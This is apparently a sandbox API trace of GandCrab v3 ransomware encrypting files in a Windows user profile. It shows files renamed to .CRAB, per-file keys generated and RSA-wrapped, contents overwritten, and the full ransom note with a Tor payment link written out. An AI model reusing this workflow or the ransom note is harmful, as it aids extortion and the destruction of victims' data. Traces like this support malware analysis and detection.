	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.625] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.626] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.626] lstrcmpW (lpString1="Global.MPT", lpString2=".") returned 1
	[0111.626] lstrcmpW (lpString1="Global.MPT", lpString2="..") returned 1
	[0111.626] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="Global.MPT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT"
	[0111.626] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.626] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78
	[0111.626] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78
	[0111.626] lstrlenW (lpString=".MPT") returned 4
	[0111.626] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.626] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".MPT ") returned 5
	[0111.626] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.627] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78
	[0111.627] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="desktop.ini") returned 1
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="autorun.inf") returned 1
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="ntuser.dat") returned -1
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="iconcache.db") returned -1
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="bootsect.bak") returned 1
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="boot.ini") returned 1
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="ntuser.dat.log") returned -1
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="thumbs.db") returned -1
	[0111.627] lstrcmpiW (lpString1="Global.MPT", lpString2="CRAB-DECRYPT.txt") returned 1
	[0111.627] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.627] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB") returned 83
	[0111.627] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt")) returned 0x20
	[0111.631] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", dwFileAttributes=0x20) returned 1
	[0111.631] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt.crab")) returned 1
	[0111.632] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.633] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB"
	[0111.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB.CRAB"
	[0111.633] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0111.633] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.634] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.634] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0111.634] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.634] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.634] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0111.635] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.635] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.635] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0111.635] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.636] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.636] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.636] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.636] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0111.637] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda7130) returned 1
	[0111.637] CryptGetKeyParam (in: hKey=0xda7130, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0111.637] CryptEncrypt (in: hKey=0xda7130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0111.637] GetLastError () returned 0x0
	[0111.637] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.637] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0111.638] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda7870) returned 1
	[0111.638] CryptGetKeyParam (in: hKey=0xda7870, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0111.638] CryptEncrypt (in: hKey=0xda7870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0111.638] GetLastError () returned 0x0
	[0111.638] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0111.638] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0111.639] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.639] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0111.640] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0111.725] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0111.739] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0111.778] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.782] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.782] WriteFile (in: hFile=0x3e0, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0111.784] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.787] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x36e00, lpOverlapped=0x0) returned 1
	[0111.792] VirtualAlloc (lpAddress=0x0, dwSize=0x36e00, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0111.793] VirtualAlloc (lpAddress=0x0, dwSize=0x36e00, flAllocationType=0x3000, flProtect=0x4) returned 0x33a0000
	[0111.795] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.796] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffc9200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.796] WriteFile (in: hFile=0x3e0, lpBuffer=0x33a0000*, nNumberOfBytesToWrite=0x36e00, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x33a0000*, lpNumberOfBytesWritten=0x3149f14*=0x36e00, lpOverlapped=0x0) returned 1
	[0111.797] VirtualFree (lpAddress=0x33a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.797] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.801] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0111.801] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0111.801] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0111.801] CloseHandle (hObject=0x3e0) returned 1
	[0111.823] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.823] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.824] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.824] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.824] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.824] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.825] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0111.825] FindClose (in: hFindFile=0xda6f30 | out: hFindFile=0xda6f30) returned 1
	[0111.825] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0111.825] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0111.825] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.825] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.825] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.825] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\CRAB-DECRYPT.txt"
	[0111.825] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.826] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\CRAB-DECRYPT.txt") returned 75
	[0111.826] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\CRAB-DECRYPT.txt") returned 75
	[0111.826] lstrlenW (lpString=".txt") returned 4
	[0111.826] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.826] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.826] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.826] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\CRAB-DECRYPT.txt") returned 75
	[0111.826] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\CRAB-DECRYPT.txt") returned 75
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.826] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.826] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.827] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.827] FindClose (in: hFindFile=0xda7070 | out: hFindFile=0xda7070) returned 1
	[0111.827] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.827] lstrcmpW (lpString1="Network", lpString2=".") returned 1
	[0111.827] lstrcmpW (lpString1="Network", lpString2="..") returned 1
	[0111.827] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network"
	[0111.827] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\"
	[0111.827] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.828] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.828] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.828] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.828] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.828] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.828] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.828] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\\\CRAB-DECRYPT.txt") returned 73
	[0111.828] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.830] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.830] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.831] CloseHandle (hObject=0x3f0) returned 1
	[0111.831] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.831] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned 56
	[0111.831] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*"
	[0111.831] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0111.831] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.832] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.832] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.832] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.832] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.832] lstrcmpW (lpString1="Connections", lpString2=".") returned 1
	[0111.832] lstrcmpW (lpString1="Connections", lpString2="..") returned 1
	[0111.832] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections"
	[0111.832] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\"
	[0111.832] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.832] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.832] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.832] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.832] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.833] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.833] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.833] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.833] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.833] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\\\CRAB-DECRYPT.txt") returned 85
